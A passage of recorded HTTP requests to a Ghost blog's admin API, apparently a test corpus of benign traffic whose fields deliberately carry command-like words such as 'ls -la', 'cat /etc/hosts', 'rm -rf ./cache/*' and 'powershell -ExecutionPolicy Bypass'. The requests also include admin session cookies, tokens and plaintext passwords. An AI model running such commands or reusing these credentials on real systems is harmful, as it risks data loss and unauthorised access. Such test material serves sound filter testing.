class=\\\"language-python\\\">#!/usr/bin/env python3\\nimport os, subprocess\\nfor name in sorted(os.listdir(\\\".\\\")):\\n print(name)\\nsubprocess.run([\\\"ls\\\", \\\"-la\\\", \\\"/var/www/html\\\"], check=True)\\n</code></pre>\\n<pre><code class=\\\"language-bash\\\">cat /etc/hosts | grep example\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\nmysql -e \\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\"\\n</code></pre>\\n<pre><code class=\\\"language-javascript\\\">document.querySelectorAll('a').forEach((a) => console.log(a.href));\\nwindow.onload = () => alert('ready');\\n</code></pre>\\n<blockquote>\\\"Keep your .htaccess small,\\\" said one reader -- and python3 agrees.</blockquote>\\n<ul><li>python3 -m venv .venv && source .venv/bin/activate</li><li>powershell -ExecutionPolicy Bypass -File build.ps1</li><li>Edit /etc/nginx/sites-available/default, then reload</li></ul>\\n<ol><li>Back up wp-config.php and .env</li><li>Run <code>rm -rf ./cache/*</code></li></ol>\\n<p>Questions? Email <a href=\\\"mailto:help@example.com\\\">help@example.com</a> or see <a href=\\\"https://example.com/search?q=htaccess&lang=en\\\">the search page</a>.</p>\", \"status\": \"published\", \"tags\": [\"python3\", \"PowerShell\"], \"custom_excerpt\": \"Run ls -la from python3 or powershell.\", \"feature_image\": \"http://example.com/content/images/2026/11/photo.png\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 175"], "body": "{\"members\": [{\"email\": \"erin.htaccess@example.com\", \"name\": \"Erin python3 Example\", \"note\": \"Imported from powershell export\", \"labels\": [\"powershell users\", \"ls -la fans\"]}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Length: 569", "Content-Type: multipart/form-data; boundary=------------------------gySlLRiEsdL70cXx8zmsOZ"], "body": "--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\nphoto.png\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ--\r\n"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af46132d281b00001a599c1\",\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Daqz-KE-bpKQ&type=embed", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fdocs%2Fpython3%2Fls-la-and-htaccess%2F&type=bookmark", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fblog%2Fpowershell-tips%3Fref%3Dghost&type=mention", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/users/password/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"password\":[{\"user_id\":\"6af4570fd281b00001a59891\",\"oldPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"newPassword\":\"Zt6-Hm3q-Bv9k-Jc4w\",\"ne2Password\":\"Zt6-Hm3q-Bv9k-Jc4w\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
|
|
||||||
# The requests below were sent to Ghost by a script with the admin's or a
|
|
||||||
# member's headers. They hold words that name commands and files in more fields.
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" 